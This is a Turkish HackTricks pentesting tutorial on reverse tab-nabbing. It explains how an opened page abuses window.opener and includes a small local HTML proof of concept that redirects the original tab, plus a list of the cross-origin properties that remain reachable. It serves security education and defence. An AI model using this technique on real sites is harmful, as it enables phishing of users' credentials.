hacktricks/pentesting-web/reverse-tab-nabbing.md
2024-02-10 18:14:16 +00:00

6.6 KiB
Raw Blame History

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

ıklama

Bir saldırgan, bir kurban tarafından tıklanacak olan target="_blank" rel="opener" özniteliğine sahip bir <a etiketinin href argümanını kontrol edebildiği bir durumda, saldırgan bu bağlantıyı kendi kontrolü altındaki bir web sitesine (bir zararlı web sitesi) yönlendirebilir. Ardından, kurban bağlantıya tıkladığında ve saldırganın web sitesine eriştiğinde, bu zararlı web sitesi, javascript nesnesi window.opener aracılığıyla orijinal sayfayı kontrol edebilir.
Eğer sayfada rel="opener" bulunmuyor ancak target="_blank" bulunuyorsa ve rel="noopener" de bulunmuyorsa, bu da zayıf olabilir.

Bu davranışı kötüye kullanmanın yaygın bir yolu, window.opener.location = https://attacker.com/victim.html aracılığıyla orijinal web sitesinin konumunu değiştirmek ve saldırgan tarafından kontrol edilen, orijinaline benzeyen bir web sitesine yönlendirmektir, böylece kullanıcıdan kimlik bilgilerini isteyebilir.

Ancak, saldırgan artık orijinal web sitesinin pencere nesnesini kontrol edebildiği için, daha gizli saldırılar gerçekleştirmek için başka yollarla da kötüye kullanabilir (belki javascript etkinliklerini değiştirerek bilgileri kendisi tarafından kontrol edilen bir sunucuya çalmak?)

Genel Bakış

Geri bağlantı ile

Önleme özniteliği kullanılmadığında, ana ve alt sayfalar arasındaki bağlantı:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

Geri bağlantı olmadan

Önleme özniteliği kullanıldığında, ana ve alt sayfalar arasındaki bağlantı:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Örnekler

Aşağıdaki sayfaları bir klasöre oluşturun ve python3 -m http.server ile bir web sunucusu çalıştırın.
Ardından, http://127.0.0.1:8000/vulnerable.html'ye erişin, bağlantıya tıklayın ve orijinal web sitesinin URL'sinin nasıl değiştiğini not edin.

{% code title="vulnerable.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>

{% code title="kötücül.html" %}

<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>

{% code title="kötü_niyetli_redir.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

{% endcode %}

Erişilebilir özellikler

Çapraz kökenli bir erişimin (farklı alanlar arasında erişim) gerçekleştiği senaryoda, kötü niyetli bir site tarafından erişilebilen opener JavaScript nesne referansıyla ilişkilendirilen window JavaScript sınıf örneğinin erişebileceği özellikler aşağıdakiyle sınırlıdır:

  • opener.closed: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve bir boolean değeri döndürür.
  • opener.frames: Bu özellik, mevcut pencere içindeki tüm iframe öğelerine erişim sağlar.
  • opener.length: Bu özellik, mevcut penceredeki iframe öğelerinin sayısını döndürür.
  • opener.opener: Bu özellik aracılığıyla, mevcut pencereyi açan pencereye referans alınabilir.
  • opener.parent: Bu özellik, mevcut pencerenin üst penceresini döndürür.
  • opener.self: Bu özellik, mevcut pencereye erişim sağlar.
  • opener.top: Bu özellik, en üstteki tarayıcı penceresini döndürür.

Ancak, alanlar aynı olduğunda, kötü niyetli site window JavaScript nesne referansı tarafından sunulan tüm özelliklere erişim sağlar.

Önleme

Önleme bilgileri HTML5 Cheat Sheet belgesine kaydedilmiştir.

Referanslar

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları: